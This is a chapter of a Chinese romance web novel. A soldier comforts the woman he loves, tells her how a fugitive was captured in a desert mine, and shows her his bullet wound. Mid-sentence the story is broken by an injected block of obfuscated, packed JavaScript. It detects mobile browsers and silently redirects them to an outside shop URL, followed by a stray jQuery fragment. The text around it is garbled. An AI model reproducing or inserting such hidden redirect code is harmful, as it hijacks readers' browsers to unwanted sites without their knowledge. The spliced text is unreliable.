夏林不知道为什么,自己明明是一个不爱哭的体质,这么多年父母不在身边,爷爷奶奶相继离开,夏林都没有今天流的泪多…
裴洵林动作笨拙的、不熟练的给她擦拭着眼泪,快三十年的人生,裴洵林经历很多,组装、拆枪、狙击、突围、甚至在没有任何防护措施的情况下进行拆弹爆破,裴洵林都没有今天心跳这么快,以前不是不害怕,是知道这条命早已经上交给国家。
而今天,此刻,不一样,裴洵林试着擦拭夏林的脸颊,像擦拭着找了很多终于找到的珍贵瓷器一样。
“别哭了,”他听见自己的声音,比他预想的要软很多很多,“我请你吃雪糕。买一箱。”
“一箱不够,”夏林听见自己在说,声音哑哑的,带着哭腔和笑意搅在一起的那种奇怪的调子,“你欠我好久了。”
裴洵林看着她,嘴角慢慢弯了起来,弯得很慢——从一条直线变成微微向上的弧度,从微微向上的弧度变成一个完整的、清晰的、带着他所有克制的欢喜和从不说出口的深情的笑。
她的心口像被人用拳头轻轻锤了一下,不疼,酸酸涨涨的,像有什么东西在那里生了根正在发芽。
他伸出手。不是去扣她的手腕,不是去揽她的肩膀,是把手掌摊开放在她面前,掌心向上,手指微微张开,像一扇打开的、邀请她进来的门。
夏林看着这只手,有经常摸枪留下的硬茧,在虎口处。手背和手心还有大大小小深浅不一的疤痕,但是如果不仔细观察,也看不到这些早已经是陈年旧伤的勋章。
夏林把手放上去,裴洵林的手指合拢,慢慢的、稳稳的,一根一根的扣紧夏林的手指,都说十指连心,两人掌心对着掌心,手指的温度逐渐传入彼此的心中。
“走吧。”裴洵林的说着。
“去哪?”
“买雪糕。”裴洵林拉着夏林的手,迈出了第一步。
但是最后两人也没有真的去买雪糕,两人手牵手在小区附近逛了逛,裴洵林说之后如果夏林一直住在这里,他想先熟悉一下周围的环境,虽然是高档小区,但是该有的防范意识还是不能少的。
“我平常没什么事很懒的…除了后面的上班,和沐晴约出去,我几乎休息都在家躺着…”夏林觉得可能裴洵林的担心有点多余,但是还是很开心。
“我知道,现在虽然老鬼那边被抓捕起来了,但是他后面盘根错节了很多人,而我又是他们首要的报复对象…”
“之前一直没敢和你表白,也是因为担心如果我们两个走的太近,他们的人会发现你会是我的人,对你不利,这也是我很少回家的原因。”
“那你现在不担心了吗?”夏林问着。
“也担心,我怕你受伤,所以我才要摸清你这里的结构和各个出口的情况,而且老鬼人现在在国安那边,这辈子都不可能出来了,其他的人即使出现,我也有信心可以保护你。”裴洵林郑重其事的和夏林承诺着。
夏林被他的样子逗笑,“我知道,你这么严肃干什么。”
在小区附近记住各种地形之后,裴洵林带夏林去了一家私厨吃饭,这里面的环境很好,老板也是裴洵林的朋友,虽然不常出现在店里,但是总有一个包厢给裴洵林留着。
“你朋友对你这么好,还特意给你留一个包厢。”夏林惊奇的看着裴洵林问道。
“也是因为这个店我出资了一部分,平常也根本不过来,就全权由他做主经营了,每年我也只拿一小部分的分红。”裴洵林解释道。
“他人现在在国外,等他回来我介绍你们认识。”
裴洵林拉开椅子让夏林坐下,自己坐到对面。“以前执行完任务,不想回支队,就来这里坐坐。”他说得很轻,像是在说一件很平常的事。
夏林环顾四周,很小的房间,墙上挂着一幅字,写的是“平安”两个字。她忽然觉得心口有什么东西被轻轻揪了一下——他以前是一个人来这里的。
菜一道一道地上,都是很家常的味道,番茄炒蛋、糖醋排骨、清炒时蔬、一碗冬瓜汤。裴洵林夹了一块排骨放在夏林碗里,“尝尝味道喜欢吗?”
“你们怎么抓到老鬼的?你有受伤吗?辛苦吗…”如果是以前,夏林肯定不会问,但是现在夏林想知道裴洵林又受伤吗…
裴洵林听到后半句话明显一顿,不过随即开口,说的很慢,“老鬼是从边境线北侧的一个无人区偷渡入境的。”
“我们的情报显示他藏在一个废弃的矿洞里,那个矿洞是上世纪九十年代开采钨矿时留下的,洞口被碎石和杂草遮掩,如果不是当地向导带路,就算从洞口两米外走过也不会发现。”
裴洵林的目光落在桌面上那碗冬瓜汤蒸腾而起的雾气上,声音平稳得像在做一个工作汇报。“我们在洞外两公里的位置潜伏了两天一夜。”
他的右手放在桌面上,手指修长、骨节分明、指腹上的茧在昏黄的灯光下泛着淡淡的光。夏林的目光落在那只手上。
夏林没有接话,她知道他有话没说话,不会去打断他。
“戈壁滩的昼夜温差很大,白天太阳晒得皮肤发烫,到了夜里温度会骤降到零下。不允许生火,不允许开手电筒,连吃饭都只能啃压缩饼干,要把包装袋撕开的声音压到最低,因为在这种环境下任何多余的声音都会传出很远。”
裴洵林没有任何渲染的成分,当初的情况比现在裴洵林所描述的情况更糟糕,他们所有人在外面伏击,风沙、尘土,眼睛很干,只能拼命眨眼,不能有任何动作,偌大的沙漠没有任何掩体,只要一动,此次的行动都会败露。
秘密伏击的命令是凌晨下达的,可是狡猾的老鬼还是引爆了提前埋下的炸弹,准备跑路,整个矿洞瞬间被烟尘覆盖,碎落的砂石,让在场的所有人看不到前路,什么都看不到,也听不见。
裴洵林只能一遍遍用对讲通讯设备确认所有队员的安全情况,好在一一有了回复。
可是就在他们等待声音平息之后,老鬼在掩体只出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17597593|204680||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
向他们开枪,他知道自己活不了了,所以在死之前拼命准备拉个垫背的。
裴洵林作为指挥长,作战经验丰富,走在最前面,看到老鬼持枪的姿势,就已经预判到他要开枪。
转身拉着队友快速找到掩体,但还是让一颗子弹擦过手臂…
“不过结果是好的。”裴洵林前面说的那么多,最后这一句话,不仅仅是对前面的总结,也是对自己这么久以来执念的总结,只要结果是好的…就好。
“可你还是受伤了…”夏林的声音有些哽咽,眼神很心疼的看向裴洵林的手臂。
“不严重,”裴洵林的声音忽然放轻了,像是才意识到自己说了什么,伸手蹭了蹭夏林的脸颊,“缝了几针而已。真的不严重。”
夏林的指腹沿着那道疤痕慢慢地、轻轻地划过去,从肘弯划到腕骨,又从腕骨划回肘弯,来来回回地摸着那道凸起的、粗糙的、永远不会消失的印记。
针脚之间的距离均匀,缝得很整齐,是队医的手艺。
“你知不知道,”她的声音轻得像怕惊动什么,“你这七天,我每天都看手机。看有没有你的消息,看你有没有发朋友圈。”
裴洵林从椅子上站起来,绕过那张旧木桌,走到她面前。他弯下腰,伸出手臂,把她整个人拢进了怀里。
她的脸埋在他的肩窝里,闻到了那股熟悉的、洗衣液的皂香味,混着他身上淡淡的、属于戈壁滩的干燥气息。他的手扣在她的后脑勺上,手指穿过她的头发,指腹在她头皮上轻轻地、一下一下地划着。
“对不起,”他的声音从头顶传下来,低沉的、沙哑的,像沙漠的夜风吹过空旷的荒野,“让你担心了。”
“我这个职业已经帮命交给了国家,但是接下来的每一天,我都保证把自己照顾的好好的,不让你担心。”
她抬起头,泪眼模糊地看着他,“你能不能答应我一件事?”
“什么?”
“以后出任务回来,不管伤得重不重,你都要告诉我。不许说‘不严重’,不许说‘没事’,不许骗我。我要知道你经历了什么,疼不疼,难不难受。你不许一个人扛着。”
裴洵林看着她。那双在枪林弹雨中都不会眨一下的眼睛,此刻看着她的时候,里面有一种脆弱的、柔软的、像被什么东西融化了一样的光。
他没有说“好”,没有说“我答应你”,他只是把她重新按进怀里,下巴抵在她头顶,手臂收得很紧很紧。
他的嘴唇贴着她的头发,极轻地、极轻地碰了一下。那不是吻,是一种更慎重的、更克制的、把所有说不出口的话都压在那轻轻一碰里的确认——确认她在这里,确认他回来了。
黄昏的风轻轻吹着包厢内半开的窗户,很舒服,好似在默默安慰这一对彼此担心的有情人。
包厢内那副“平安”字样,在这黄昏时刻与房间内紧紧相拥的两人彼此呼应,所有人都会平安。
晚上回去的时候,夏林给许沐晴打了电话。